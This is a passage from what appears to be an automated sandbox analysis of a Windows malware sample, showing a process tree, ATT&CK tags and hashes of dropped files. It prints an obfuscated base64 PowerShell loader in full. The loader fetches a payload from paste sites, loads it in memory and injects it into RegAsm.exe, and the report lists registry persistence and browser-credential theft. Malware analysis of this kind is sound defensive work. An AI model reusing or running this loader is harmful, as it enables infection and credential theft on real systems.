wB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAZABwAGEAcwB0AGUALgBjAG8AbQAvADMAVgBZADYAOQBSAFkANwBKAC4AdAB4AHQAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnACcAIAAf#ACAAJwBBAHMAbQAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AcgBpAEYAbQBqAEEAagAvAGcAZQBiAHAAagBuAGkALwBtAHIAcwBjAHQAZABwAC8AbgBmAHQAaAB4AHkAcwAvAGUAZAAuAG4AZQBnAG4AaQBsAC0AbgBvAGwAYQBzAGgAYwBzAGEAdwAvAC8AOgBzAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAcgB1AG4AcwAnACAAKwAgACcAcwAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABnAGcAIAAsACcAMQAnACwAIAAnAE0AVgBQACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA='';$oWjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdgo, ''f#'', ''r'')));iex $oWjfdsuxd\"'"; Copy-Item -Path 'C:\ProgramData\MVP.bat' -Destination 'C:\ProgramData\MVP.bat' -Force -ErrorAction SilentlyContinue"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAZABwAGEAcwB0AGUALgBjAG8AbQAvADMAVgBZADYAOQBSAFkANwBKAC4AdAB4AHQAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnACcAIAAf#ACAAJwBBAHMAbQAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AcgBpAEYAbQBqAEEAagAvAGcAZQBiAHAAagBuAGkALwBtAHIAcwBjAHQAZABwAC8AbgBmAHQAaAB4AHkAcwAvAGUAZAAuAG4AZQBnAG4AaQBsAC0AbgBvAGwAYQBzAGgAYwBzAGEAdwAvAC8AOgBzAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAcgB1AG4AcwAnACAAKwAgACcAcwAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABnAGcAIAAsACcAMQAnACwAIAAnAE0AVgBQACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA=';$oWjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdgo, 'f#', 'r')));iex $oWjfdsuxd"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5712
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2176

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ff15b6a03c405775c18a2d1cc5d1935ac03660901d8abdf9454a29d4f1206d7d
MD5 1791010a9f8c5b50aa7e1c91b13f1429
SHA1 67d98550de7832117b137f4e7392d7b56dda8442
SHA512 83c65b7d1c5a5ba15e104ff4015034b0e36fe2584462c536343cf63a8417b4c523ef33829fd25ba8f63de18617e7d9583b5520d09b861fcb040fa01415a11521
TLSH
T164216837B39CC125C8D9057A108DAD00B6B5C7D744AECE8B7B84C609E63F999DB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b7a310f65a970fe4c65c8f9a83f7d402f8527b216a38b17336add7218c5613a5
MD5 7e7db55033ab03221df11bd564f5356f
SHA1 e09bc775bc2948517750504d5bc71b9cbaa0412a
SHA512 c4d5bbfb9f050d6d4b56ace906213952bcc069e132b81bddf22944827a5cd5abc707164b21a42e65ab14ce6bcf2ab5cf51b048f2daa23fe0d8744016acdac476
TLSH
T11D115333B79CC235C8E915BA1088AD11B1B1C3C7049EDE8F7A84C119E67F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ca943c02c163cdf5099c1a6f7795399ec72d9d3520f97e01b2cc3fa5a381d5d
MD5 80814906f25b1fe1f0e57faff079ac06
SHA1 2d345eb65650071b9d08c4f23605d016155eb41a
SHA512 60b87cbff23bbca996c907b472e16d64e4d9d9d805fbd97a7f0a36d7f136be242f5e8d9b7a9caf16f7d44fafd2be2a8b69116c9b00e1546727f1a9c6aca6a3de
TLSH
T163115333B79CC234C8E915BA1088AE11B1B1C3C7049EDE8F7A84C109E67F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\x9zyrz34.default-release\activity-stream.contile.json
Size 4KB
SHA256 4b71a7f2ce947641149e2d62830d0955285fe9526ef56e1268c409b5f82996c9
MD5 edbc4de05854db9c853af8be34a7a56c
SHA1 202a37ab6f7f46d1e5786cacc46f747ae3566b32
SHA512 2fa1c26c1ba069d5c2fbf2714498e8270d6160c343ac8386ed2e52fec269a28b2bb9c0e99c567b4764b5c8f14c90fac7a0829e5013b9c34129d8e714980119dd
SSDEEP 48:Yd0rKreDXEfJd64WJg2UDjjylOipCuSQyG6mXEFreDXadipWWhuTFvWwZ2mmQMpy:KztWK2oipCuSZ1nRtpvxDPMNXXQGJIis
TLSH
T1F4A1F8CBCDA5D9474662E6E07CAF2B5CF21B524B4BC9CA48F781CD01E2E678B4059640
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

activity-stream.discovery_stream.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\x9zyrz34.default-release\activity-stream.discovery_stream.json
Size 75KB
SHA256 924575550ebb3fe174f56579ba6ff160824481ec55bc7a3c823fa492a55a0527
MD5 8df00c8ddf8fadde64b405af0152f4c9
SHA1 18bf7e1b9a430b23241a4ebf40f1711f0b619ae1
SHA512 fd4e337a938a4e4d84ea4d0b9e22d835d7311161429f5df9be5ce5f83c9769cb2dbc650ce43adce7eca627810b635585d33ef098d71054b6713ebabf26715d81
SSDEEP 768:qyXkstHT8O//CeCGfRmoWeDo+9P9N9WGTdbR1Ombn/WDsMZ0JJT:RXksH/5CAm3Coo9LTdUDsM8
TLSH
T145731AA397E871BF1F9037D72C4B765B66D24599E34502C8ECEDDA2CC188764023A6F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

B23E72E7A2265273BB51577698ABEC1C4CD47D7B

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\x9zyrz34.default-release\cache2\entries\B23E72E7A2265273BB51577698ABEC1C4CD47D7B
Size 13KB
SHA256 96b4340777af6bc60edbd05a1d9548fdac1ec6275d61351e5626e7a761199bad
MD5 37dbdc37b976082723d77bfc027da46e
SHA1 fe263692d913ebdcb5910c51374b19435f3366bb
SHA512 d5a97514c753d51ba7a8be3096dac3baa8dca30ab93def33bca7193a008cd4a480773ac24e91f32cb9cdc3355bdf9ef99ca670bf30c48abadd7b8f92c1f1af26
SSDEEP 384:HR9/iO024YvFuhw+5EL1pPsac4j0lpDII+zEME4:xkZYvFuK+5EB9sac4ID8LL
TLSH
T135527E7DAF0138BE1A67D1D4D8AD5218CE04D6BBEEE2D06606443C44CA84779F8F64EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

31cef7da-74eb-4214-9c76-c46a49cd5218.bat

Path C:\Users\Admin\AppData\Local\Temp\31cef7da-74eb-4214-9c76-c46a49cd5218.bat
Size 12KB
SHA256 1a5ed225eb295a8e957f905015ff367d3537d7fbe9876bf76989bbeda560fc76
MD5 9c4677c5e1410ac7e56d17cbc5b5681c
SHA1 c6cc1df187a596a137a01fa6287153b1fb71284f
SHA512 01cf709a90ab3a1dba3e7e0f78ff9108f3c9b109b1094b1b65088ecfdc80ee0fa0152d38372320b3a231fb45d88d01e1fdf64b4320ac4ed40c50323c8d6efc46
SSDEEP 384:KS0CKmos0VzN7GOqHymZh7/ac5UqoQE4vaG5LCMThNH4qmWyhcRvDqc8K12WOOT:KS0U/0VBDUH+qoYv4sh+MocNZ7T
TLSH
T154420E7DC5D4BCC0475B62D074AEBBC2028E97177E2B1B6CF5D804510B555A8BFB8688
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_z2ealyq5.342.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z2ealyq5.342.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Temp\bivb20ls.g3o\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
